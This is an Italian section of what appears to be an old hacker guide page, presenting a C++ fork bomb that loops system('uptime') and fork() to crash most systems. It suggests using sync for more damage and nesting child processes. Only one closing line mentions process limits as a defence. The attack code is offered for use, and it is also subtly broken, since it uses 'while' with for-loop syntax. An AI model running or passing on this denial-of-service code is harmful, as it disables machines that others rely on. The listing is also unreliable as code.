.D.5. USO MALIZIOSO DI fork()

Se qualcuno esegue questo programma C++ il risultato sarà il crash della maggior
parte dei sistemi.

Es:

#include <sys/types.h>
#include <unistd.h>
#include <iostream.h>

main()
{
int x;
while(x=0;x<1000000;x++)
{
system("uptime");
fork();
}
}

Puoi usare tutti i comandi che vuoi, ma uptime è bello perchè mostra il carico
di lavoro.

Per avere un attacco più grande e potente dovresti comunque rimpiazzare uptime
con sync. Questo è molto cattivo.

Se fai sul serio puoi instaurare un processo "figlio" per ogn processo "figlio" e
avremo un incremento del carico di lavoro.

Non ci sono buoni modi di fermare questo attacco e attacchi simili. Una soluzione
potrebbe essere piazzare un limite di tempo sull'esecuzione e dimensione dei processi.

 

torna al menu

- - -

Directory con Motore di ricerca di Moby Dyck.com